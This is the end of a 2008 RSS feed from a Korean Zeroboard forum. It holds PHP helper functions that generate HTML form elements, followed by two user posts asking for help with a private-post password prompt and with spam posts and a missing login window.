<P>function ue($str){<BR />&nbsp;return urlencode($str);<BR />}</P>
<P>function p($str){<BR />&nbsp;echo $str."\n";<BR />}</P>
<P>function tbhead() {<BR />&nbsp;p('&lt;table width="100%" border="0" cellpadding="4" cellspacing="0"&gt;');<BR />}<BR />function tbfoot(){<BR />&nbsp;p('&lt;/table&gt;');<BR />}</P>
<P>function makehide($name,$value=''){<BR />&nbsp;p("&lt;input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" /&gt;");<BR />}</P>
<P>function makeinput($arg = array()){<BR />&nbsp;$arg['size'] = $arg['size'] &gt; 0 ? "size=\"$arg[size]\"" : "size=\"100\"";<BR />&nbsp;$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';<BR />&nbsp;!$arg['type'] &amp;&amp; $arg['type'] = 'text';<BR />&nbsp;$arg['title'] = $arg['title'] ? $arg['title'].'&lt;br /&gt;' : '';<BR />&nbsp;$arg['class'] = $arg['class'] ? $arg['class'] : 'input';<BR />&nbsp;if ($arg['newline']) {<BR />&nbsp;&nbsp;p("&lt;p&gt;$arg[title]&lt;input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /&gt;&lt;/p&gt;");<BR />&nbsp;} else {<BR />&nbsp;&nbsp;p("$arg[title]&lt;input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /&gt;");<BR />&nbsp;}<BR />}</P>
<P>function makeselect($arg = array()){<BR />&nbsp;if ($arg['onchange']) {<BR />&nbsp;&nbsp;$onchange = 'onchange="'.$arg['onchange'].'"';<BR />&nbsp;}<BR />&nbsp;$arg['title'] = $arg['title'] ? $arg['title'] : '';<BR />&nbsp;if ($arg['newline']) p('&lt;p&gt;');<BR />&nbsp;p("$arg[title] &lt;select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange&gt;");<BR />&nbsp;&nbsp;if (is_array($arg['option'])) {<BR />&nbsp;&nbsp;&nbsp;foreach ($arg['option'] as $key=&gt;$value) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;if ($arg['selected']==$key) {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p("&lt;option value=\"$key\" selected&gt;$value&lt;/option&gt;");<BR />&nbsp;&nbsp;&nbsp;&nbsp;} else {<BR />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p("&lt;option value=\"$key\"&gt;$value&lt;/option&gt;");<BR />&nbsp;&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;&nbsp;}<BR />&nbsp;&nbsp;}<BR />&nbsp;p("&lt;/select&gt;");<BR />&nbsp;if ($arg['newline']) p('&lt;/p&gt;');<BR />}<BR />function formhead($arg = array()) {<BR />&nbsp;global $self;<BR />&nbsp;!$arg['method'] &amp;&amp; $arg['method'] = 'post';<BR />&nbsp;!$arg['action'] &amp;&amp; $arg['action'] = $self;<BR />&nbsp;$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';<BR />&nbsp;!$arg['name'] &amp;&amp; $arg['name'] = 'form1';<BR />&nbsp;p("&lt;form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]&gt;");<BR />&nbsp;if ($arg['title']) {<BR />&nbsp;&nbsp;p('&lt;h2&gt;'.$arg['title'].' &amp;raquo;&lt;/h2&gt;');<BR />&nbsp;}<BR />}<BR />&nbsp;<BR />function maketext($arg = array()){<BR />&nbsp;!$arg['cols'] &amp;&amp; $arg['cols'] = 100;<BR />&nbsp;!$arg['rows'] &amp;&amp; $arg['rows'] = 25;<BR />&nbsp;$arg['title'] = $arg['title'] ? $arg['title'].'&lt;br /&gt;' : '';<BR />&nbsp;p("&lt;p&gt;$arg[title]&lt;textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]&gt;$arg[value]&lt;/textarea&gt;&lt;/p&gt;");<BR />}</P>
<P>function formfooter($name = ''){<BR />&nbsp;!$name &amp;&amp; $name = 'submit';<BR />&nbsp;p('&lt;p&gt;&lt;input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"&gt;&lt;/p&gt;');<BR />&nbsp;p('&lt;/form&gt;');<BR />}</P>
<P>function formfoot(){<BR />&nbsp;p('&lt;/form&gt;');<BR />}</P>
<P>// 调试函数<BR />function pr($a) {<BR />&nbsp;echo '&lt;pre&gt;';<BR />&nbsp;print_r($a);<BR />&nbsp;echo '&lt;/pre&gt;';<BR />}</P>
<P>?&gt;</P></div>]]></description>
                        <pubDate>Mon, 04 Aug 2008 03:51:35 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[전에도 올렷는데 리플이 하나도 없네요 ㅠ]]></title>
            <author><![CDATA[송정권]]></author>
            <link><![CDATA[http://www.zeroboard.com/17114877]]></link>
                        <description><![CDATA[<div class="xe_content">비밀글 설정시 글 읽기 권한 있는 사람한테 계속 비밀번호 입력하라고 나오는 현상.. 어떻게.. 해결하죠? <BR />글쓸때 비번을 입력하는 방식이 아닌데 대체 무슨 비번을 넣으라는건지.. 미치겟음;;</div>]]></description>
                        <pubDate>Thu, 31 Jul 2008 12:11:51 +0900</pubDate>
                    </item>
                <item>
            <title><![CDATA[스팸게시글]]></title>
            <author><![CDATA[신일섭298]]></author>
            <link><![CDATA[http://www.zeroboard.com/17110756]]></link>
                        <description><![CDATA[<div class="xe_content">수고하십니다...<BR /><A href="http://www.setupkorea.com/">www.setupkorea.com</A> 이라는 홈페이지가 있습니다.<BR />스팸게시글이 자꾸 올라와 로그인 해 놓고 올라 오는대로 삭제 하였던바,<BR />어느날 부터는 로그아웃을 안했는데도 자동으로 로그아웃이되어,<BR />다시 로그인..그리고 삭제 하는일이 반복 되었는데..<BR />이제는 로그인창이 아예 없어져 버렸습니다.<BR />긴급 도움 청합니다...<BR />어떠한 방법으로 수정하여야 하나요....</div>]]></description>
                        <pubDate>Wed, 30 Jul 2008 14:14:02 +0900</pubDate>
                    </item>
            </channel>
</rss>
